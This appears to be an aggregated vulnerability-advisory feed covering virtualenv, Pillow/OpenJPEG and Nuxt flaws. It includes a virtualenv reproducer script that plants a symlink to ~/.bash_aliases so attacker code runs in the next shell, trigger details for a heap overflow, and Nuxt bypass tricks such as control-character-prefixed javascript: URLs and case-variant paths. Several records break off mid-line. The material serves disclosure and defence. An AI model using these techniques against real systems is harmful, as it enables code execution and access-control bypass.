Another account must be able to prepare file links in the destination before creation. The invoking user must have write
permission at the linked target. The destination parent must remain controlled during creation; concurrent
parent-directory replacement is a separate concern.

## Affected code

The relevant 21.14.8 source is in
[template writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/activation/via_template.py),
[configuration writer](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).

## Mechanism

`ViaTemplateActivator._generate()` removes an existing output only when `Path.exists()` is true. A dangling symlink
therefore survives, and `write_bytes()` creates its target outside the environment. Other generated files have related
final-entry behavior. `PyEnvCfg.write()` opens `pyvenv.cfg` without first replacing an existing link; a symlink or hard
link there can overwrite an existing target. These paths require a prepared destination tree and the invoking user's
permission to write the linked target.

## Reproduction and evidence

The scanner's project tree contains `venv/bin/activate -> ../../../.bash_aliases` and an executable `venv/bin/basename`.
Before creation, a new interactive bash does not create the marker. A plain `virtualenv venv` writes the activation
script through the dangling link, creating `~/.bash_aliases` as a regular file. Debian's stock `.bashrc` sources that
file; the next interactive bash adds `venv/bin` to `PATH` and the planted `basename` writes the marker. The reproducer
checks that the link remains, `~/.bash_aliases` appears, and the second shell executes the planted file. A separate
manual check links `pyvenv.cfg` to `~/.bashrc` and observes the latter replaced with generated configuration text.

The link lets creation write outside the requested environment. The attacker chooses the target path but the generated
bytes come from virtualenv. The executable in the example was already in the prepared tree; this finding is not
arbitrary code injection into an otherwise trusted destination. The scanner traces the template behavior to #1454, first
released in 20.0.0b1. [PR #3431](https://github.com/pypa/virtualenv/pull/3431) replaces pre-existing output links and
uses exclusive creation for generated text. It does not make a destination safe if another account can replace parent
directories during creation.

## Attack sequence

```mermaid
sequenceDiagram
 participant A as Prepared project tree
 participant V as virtualenv writer
 participant H as User home
 participant B as Next interactive bash
 A->>V: venv/bin/activate links to missing ~/.bash_aliases
 V->>V: Path.exists() follows link and returns false
 V->>H: write activation bytes through link
 H-->>B: ~/.bash_aliases now exists
 B->>H: .bashrc sources ~/.bash_aliases
 B->>A: PATH reaches planted venv/bin/basename
 A-->>B: marker created
 Note over V,H: pyvenv.cfg can also overwrite an existing linked target
```

## Reproducer files

The following files are from the scanner report for `ANT-2026-XBEOCBS1`. They were tested against commit `a857a7823c73`
in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs
need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.

**`repro`**

```text
#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
import tempfile

# set up: a fresh home with Debian's stock ~/.bashrc, which sources ~/.bash_aliases when that file exists
home = tempfile.mkdtemp(prefix="home-")
shutil.copy("/etc/skel/.bashrc", f"{home}/.bashrc")
bash_aliases = f"{home}/.bash_aliases"
marker = f"{home}/attacker-ran"
open_terminal = ["bash", "-i", "-c", "true"]
terminal_env = {"HOME": home, "PATH": "/usr/bin:/bin", "TERM": "dumb"}

# the attacker's repository, cloned by the user to ~/proj
checkout = f"{home}/proj"
subprocess.run([sys.executable, "/tmp/repro.d/make_hostile_checkout.py", checkout], check=True)
activate = f"{checkout}/venv/bin/activate"
print("shipped: venv/bin/activate ->", os.readlink(activate), flush=True)

# a terminal opened before virtualenv runs does not touch the checkout (stderr: bash -i without a tty warns)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)
print("before virtualenv: ~/.bash_aliases exists:", os.path.lexists(bash_aliases), "| marker exists:", os.path.exists(marker), flush=True)
assert not os.path.lexists(bash_aliases) and not os.path.exists(marker)

# trigger: the user creates an environment in the checkout, then opens a new terminal
subprocess.run(["virtualenv", "--no-periodic-update", "venv"], cwd=checkout, env={**os.environ, "HOME": home}, check=True)
subprocess.run(open_terminal, env=terminal_env, stderr=subprocess.DEVNULL, check=True)

# check: the activation script belongs in venv/bin/activate; it must not be written through the link to ~/.bash_aliases
print("venv/bin/activate is still the symlink:", os.path.islink(activate))
written_outside = os.path.isfile(bash_aliases) and not os.path.islink(bash_aliases)
print("~/.bash_aliases created as a regular file:", written_outside)
if written_outside:
 print(" its first line:", open(bash_aliases).readline().rstrip())
attacker_code_ran = os.path.exists(m

Affected package ranges reported by GitHub:
virtualenv: < 21.14.9
Action: GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load()
https://kevwire.com/record/GHSA-78g4-xqwv-q3g8
Pillow: Bundled libopenjp2 2.5.4 in all wheels since 11.1.0 carries OSV-2025-219 heap-buffer-overflow write reachable from Image.open().load() (Oct 22, 2026).
Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219

Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.
CVSS 8.1 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-78g4-xqwv-q3g8).
Sources:
GitHub-reviewed advisory GHSA-78g4-xqwv-q3g8: https://github.com/advisories/GHSA-78g4-xqwv-q3g8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
### Summary

Every Pillow wheel from 11.1.0 onward bundles a libopenjp2 containing a heap-buffer-overflow **write** that is fixed upstream on master but has never appeared in an OpenJPEG release. See https://osv.dev/vulnerability/OSV-2025-219

Because the wheel bundles its own copy, a patched host OS does not help. It is reachable from `Image.open(fp); im.load()` with default settings.

I am reporting it here rather than only upstream because Pillow is where the vulnerable binary actually reaches users.

Note the inversion that makes this easy to miss: **OpenJPEG 2.5.2 and earlier are safe.** The bug was introduced in `954c6e3c` (2024-06-25), so keeping the dependency current is what creates the exposure.

### Details

## Affected wheels

From `.github/dependencies.json` (`openjpeg`) at each tag:

| Pillow | bundled OpenJPEG | status |
|---|---|---|
| 10.4.0 | 2.5.2 | safe |
| 11.0.0 | 2.5.2 | safe |
| **11.1.0, 11.2.1, 11.3.0** | **2.5.3** | **affected** |
| **12.0.0 … 12.3.0** | **2.5.4** | **affected** |

Confirmed on an installed wheel: `PIL.features.version_codec('jpg_2000')` → `2.5.4`, bundled file `pillow.libs/libopenjp2-*.so.2.5.4`. `main` still pins `2.5.4` as of 2026-10-06.

## The defect

`src/lib/openjp2/j2k.c`, in `opj_j2k_read_sod`:

```c
OPJ_UINT32 l_current_tile_part =
 l_cstr_index->tile_index[p_j2k->m_current_tile_number].current_tpsno;
l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_header = l_current_pos;
l_cstr_index->tile_index[...].tp_index[l_current_tile_part].end_pos =
 l_current_pos + p_j2k->m_specific_param.m_decoder.m_sot_length + 2;
```

`tp_index` is neither null-checked nor bounds-checked, and `l_current_tile_part` comes directly from the one-byte `TPsot` field of the SOT marker.

The correct guard already exists a few lines later in `opj_j2k_add_tlmarker` (j2k.c:8459), writing the **same array at the same index** behind `if (tp_index && l_current_tile_part < nb_tps)`. One writer checked, its sibling not.

Reached by giving the codestream a *valid* TLM marker — so `tp_index` is allocated once by `opj_j2k_build_tp_index_from_tlm`, sized to the TLM entry count, and `opj_j2k_read_sot` then skips all resizing — while setting `TNsot = 0` in every SOT, which keeps the TLM "valid" and lets `TPsot` walk past the allocation.

## Patch status

Fixed upstream in `91d08b11` ("Fix heap buffer overlfow in opj_j2k_read_sod", 2026-02-10).

The newest OpenJPEG tag is **v2.5.4 (2025-09-20)**, and `compare/v2.5.4...91d08b11` reports *ahead 6, behind 0* — the fix is **in no release, 8 months on**.

## Suggested remediation

1. Carry `91d08b11` as a patch in the wheel build until an OpenJPEG release includes it — three lines, identical to a guard already present in the same file.
2. Consider asking OpenJPEG to cut a release; they have had an unreleased memory-corruption fix on master since February 2026, and every distro is shipping the vulnerable code.
3. Your security handbook already tells applications to block EPS at the application layer. A similarly explicit note that `Image.open()` ignores filename/Content-Type and will reach any compiled-in codec unless `formats=` is passed would help downstream apps a lot.

## Not a Pillow bug, but relevant: the extension allowlist most apps rely on does not apply

`Image.open()` sniffs magic bytes, so a JPEG 2000 codestream in a file named `avatar.png` declared `Content-Type: image/png` reaches the JP2 decoder anyway.

I verified this against a production service documenting PNG/JPEG-only uploads: it accepted and fully decoded a JP2 through exactly that path, with 16 formats reachable from one upload endpoint against 43 registered openers. That service has since fixed it by passing `formats=` and validating on the detected format rather than the client's `Content-Type`.

That is the reason a decoder-level issue like this one has much wider reach than downstream maintainers tend to assume.

### Proof of concept

ASan build of OpenJPEG 2.5.4 interposed under a **stock Pillow 12.3.0**, running `Image.open(p); im.load()`:

```
==766332==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8
 #0 opj_j2k_read_sod j2k.c:5086
 #1 opj_j2k_read_tile_header j2k.c:9912
 #2 opj_read_tile_header openjpeg.c:575
 #3 j2k_decode_entry src/libImaging/Jpeg2KDecode.c:793
 #4 ImagingJpeg2KDecode src/libImaging/Jpeg2KDecode.c:949
 #5 _decode src/decode.c:132
located 8 bytes to the right of a 24-byte region allocated by
 opj_j2k_build_tp_index_from_tlm j2k.c:8939
```

Frames 3–5 are Pillow's own decoder, not a synthetic harness. No non-default decoder options are involved; strict mode is on, which is Pillow's behaviour since Pillow never calls `opj_decoder_set_strict_mode`. A benign twin image runs the same path cleanly and returns a valid image, so this is the payload and not a parse failure.

I have deliberately **not** attached the PoC file to this initial report. I'm happy to attach the PoC, the builder script and the RIP-control harness here on request, or hold everything until a fix is ready.

No disclosure deadline from me; I will not publish anything while this is being worked on.

### Impact

Any application that calls `Image.open()` / `im.load()` on an image it did not produce — the overwhelmingly common case for upload handlers, thumbnailers and preview pipelines — can be made to perform an out-of-bounds heap write by supplying one crafted file.

**Floor, already certain.** On a stock non-sanitised wheel the overflow performs 245 writes walking to +5856 bytes past a 24-byte allocation, and glibc's own heap-metadata checker aborts the process (`corrupted size vs. prev_size`, `corrupted double-linked list`, SIGABRT). One file reliably kills a long-lived worker.

**Ceiling, demonstrated as a primitive but not as a finished exploit.** With same-size-class objects alive on both sides — an ordinary busy heap — the walk crosses `opj_event_mgr_t`, which holds three `opj_msg_callback` function pointers, and `opj_event_msg` then calls

Affected package ranges reported by GitHub:
pillow: >= 11.1.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive
https://kevwire.com/record/CVE-2026-114132
Nuxt: Server-side route rules (`redirect`, `headers`, `proxy`, `ssr`) are skipped for case-variant paths when routing is case-insensitive (Oct 22, 2026).
With the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.

Earlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server:
CVSS 6.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-vjh5-4x84-xrqp).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vjh5-4x84-xrqp: https://github.com/advisories/GHSA-vjh5-4x84-xrqp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114132&date=2026-10-25
## Impact

With the default `router.options.sensitive: false`, Nuxt's page router resolves routes case-insensitively, so `/Admin` renders the same page as `/admin`. On the server, however, route rules were resolved with Nitro's route-rule matcher, which matches keys case-sensitively. A request whose path differs from a rule key only in letter case therefore rendered the page with none of that rule applied.

Earlier fixes ([GHSA-mm7m-92g8-7m47](https://github.com/nuxt/nuxt/security/advisories/GHSA-mm7m-92g8-7m47), [GHSA-hxvh-4h3w-prp9](https://github.com/nuxt/nuxt/security/advisories/GHSA-hxvh-4h3w-prp9)) case-folded the route rules that the Nuxt app itself reads, such as `appMiddleware`. This advisory covers the rules applied on the server:

- `redirect`: a rule used to send visitors away from a page, such as `'/admin/**': { redirect: '/login' }`, was skipped, and the page and its server-fetched data were rendered instead.
- `headers`: per-route response headers, including security headers such as `Content-Security-Policy` or `X-Frame-Options`, were not sent.
- `proxy`: the request was not proxied.
- `ssr: false` and `noScripts`: the page was server-rendered, or shipped scripts, despite the rule.
- `getRouteRules(event)` (auto-imported, or from `nuxt/server`) and `matchRouteRules` from `nuxt/server` returned no rules for the case variant.

```ts
export default defineNuxtConfig({
 routeRules: {
 '/admin/**': { redirect: '/login' },
 },
})
```

With this configuration, `/admin/secret` redirects to `/login`, but `/Admin/secret` rendered `app/pages/admin/secret.vue`.

## Mitigating factors

- Applications that set `router.options.sensitive: true` in `nuxt.config` are not affected, because their pages are only served for the exact case of the route.
- Access checks performed in server middleware, route middleware attached with `definePageMeta`, or in the page's data fetching are not affected. The issue only affects protections that rely on a server-side route rule matching the request path.

## Affected versions

`nuxt` `<4.6.2`, including all Nuxt 3 releases, and `@nuxt/nitro-server` `<4.6.2`.

## Patches

Fixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.

Nuxt now resolves server-side route rules itself, decoding and case-folding both the rule keys and the request path unless `router.options.sensitive` is set, and applies the result to Nitro's `redirect`, `headers` and `proxy` handling, the renderer, and the `getRouteRules` / `matchRouteRules` helpers.

When routing is case-insensitive, patched releases change some behaviour:

- Route rules also apply to case variants of server API routes. For example, `/API/x` now matches a `/api/**` `proxy` or `headers` rule.
- Rule keys that differ only in letter case now resolve to the same path on the server, and the later key takes precedence.

The following are not changed by this fix:

- `cache` and `swr` response caching is attached to server routes by Nitro's router, which matches case-sensitively. A case variant is still rendered with its route rules applied, but its response is not cached.
- Rules that a deployment preset compiles into platform configuration (for example Vercel's `config.json` or Netlify's `_redirects` and `_headers`) are matched by the platform. Once a request reaches the Nuxt server, the rules are applied as described above.
- If `sensitive` is set only in `app/router.options.ts`, the server follows the `nuxt.config` value. In that configuration route rules can only apply to more paths, never fewer.

## Workarounds

Upgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3:

1. Set `router: { options: { sensitive: true } }` in `nuxt.config`, so pages are only served for the exact case of their route.
2. Alternatively, enforce access control in server middleware or route middleware rather than relying on a `redirect` route rule, and set security headers for every response rather than per route.

Affected package ranges reported by GitHub:
nuxt: >= 4.0.0, < 4.6.2
nuxt: >= 3.0.0, < 4.0.0
@nuxt/nitro-server: >= 4.2.0, < 4.6.2
@nuxt/nitro-server: >= 3.20.0, < 4.0.0
Action: GitHub lists first patched versions: nuxt: 4.6.2; @nuxt/nitro-server: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nuxt server islands render `useHeadSafe` input without sanitisation
https://kevwire.com/record/CVE-2026-114133
Nuxt server islands render `useHeadSafe` input without sanitisation (Oct 22, 2026).
`useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and `
```

- Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `.
- Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected.
CVSS 5.4 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-xfq5-w38q-pc2x).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-xfq5-w38q-pc2x: https://github.com/advisories/GHSA-xfq5-w38q-pc2x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114133&date=2026-10-25
## Impact

`useHeadSafe` restricts head input to an allowlist of safe tags and attributes. For example, `bodyAttrs` is limited to `class` and `style`, event handler attributes are removed, and `
```

## Mitigating factors

- Server components are experimental. They are only active when the application defines a `.server.vue` component or page, or enables `experimental.componentIslands` and renders ` `.
- Exploitation requires the application to pass attacker-controlled data to `useHeadSafe` inside a server island. `useHeadSafe` called from regular (non-island) components and pages is not affected.

## Affected versions

`nuxt` `>=3.13.0`, when head support for server islands was introduced. Nuxt 2 is not affected.

## Patches

Fixed in `nuxt@4.6.2`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.

Patched releases apply Unhead's safe input filtering to `useHeadSafe` entries on the server before they are added to the island response, so `islandResponse.head` (including what `render:island` hooks see) only contains input that `useHeadSafe` allows.

## Workarounds

Upgrade to `nuxt@4.6.2`. If you cannot upgrade, including on Nuxt 3:

1. Call `useHeadSafe` with untrusted input from a regular component or page rather than from inside a server island.
2. Alternatively, validate untrusted head input against your own allowlist before passing it to `useHeadSafe` inside a server island.

Affected package ranges reported by GitHub:
nuxt: >= 3.13.0, < 4.6.2
Action: GitHub lists first patched versions: nuxt: 4.6.2. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nuxt: Incomplete fix for GHSA-934w-87qh-qr26: a `javascript:` URL prefixed with an ASCII control character executes from `<NuxtLink>` when `pages` is disabled
https://kevwire.com/record/CVE-2026-114130
Nuxt: Incomplete fix for GHSA-934w-87qh-qr26: a `javascript:` URL prefixed with an ASCII control character executes from `<NuxtLink>` when `pages` is disabled (Oct 22, 2026).
An application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked.

This is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected.
CVSS 2.3 (version 4.0; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-jjm6-p2m9-9w4x).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jjm6-p2m9-9w4x: https://github.com/advisories/GHSA-jjm6-p2m9-9w4x
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114130&date=2026-10-25
## Impact

An application that renders ` ` with a value it does not control can be made to render an anchor whose `href` executes script in the application's origin when clicked.

This is an incomplete fix for [GHSA-934w-87qh-qr26](https://github.com/nuxt/nuxt/security/advisories/GHSA-934w-87qh-qr26) (CVE-2026-53722). It only affects applications running without a `pages/` directory, where `pages` resolves to `false` and Nuxt registers its own router in place of vue-router. Applications using vue-router are not affected.

Prefixing `javascript:` with an ASCII C0 control character, for example `%01`, meant the value was not recognised as having a protocol. It was classified as an internal route and so never reached the protocol check added in GHSA-934w-87qh-qr26, and the router used for `pages: false` passed it through to the rendered `href` unchanged. Browsers strip the leading control character and run the result as a script URL.

Both ` ` and the default anchor are affected, and the `href` is present in the server-rendered HTML.

## Mitigating factors

- The application must have `pages` disabled (no `pages/` directory, or `pages: false`).
- The application must bind untrusted input to `:to`.
- A victim must click the rendered link.

## Affected versions

`nuxt` `<4.6.0`, including all Nuxt 3 releases. Versions before `4.4.7` and `3.21.7` are also affected by GHSA-934w-87qh-qr26.

## Patches

Fixed in `nuxt@4.6.0`. Nuxt 3 reached end of life on 31 July 2026 and will not receive a fix.

Anchor `href` values are now checked for script-capable protocols wherever they are rendered, including the router used when `pages` is disabled. Protocol detection also moved to the platform `URL` parser, so a URL is classified the same way the browser will read it.

## Workarounds

Upgrade to `nuxt@4.6.0` or later. If you cannot upgrade, including on Nuxt 3, validate values before binding them to `:to`, for example by rejecting anything that is not a path beginning with a single `/`.

Affected package ranges reported by GitHub:
nuxt: < 4.6.0
Action: GitHub lists first patched versions: nuxt: 4.6.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nuxt: Route rules are matched against the raw request path, so a percent-encoded segment can bypass `appMiddleware` on dynamic and catch-all routes
https://kevwire.com/record/CVE-2026-114131
Nuxt: Route rules are matched against the raw request path, so a percent-encoded segment can bypass `appMiddleware` on dynamic and catch-all routes (Oct 22, 2026).
Nuxt compared `routeRules` keys against the raw request path, without decoding percent-encoding, while the router decodes parameters when it resolves a route. A request whose path is percent-encoded can therefore resolve to a page while failing to match the route rule meant to protect it, so the rule's `appMiddleware` never runs, including during server rendering.

For a page served through a dynamic or catch-all route, an attacker can percent-encode a character in the path to skip the rule:
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-6gq8-jgmh-3ffp).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114131&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-6gq8-jgmh-3ffp: https://github.com/advisories/GHSA-6gq8-jgmh-3ffp
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
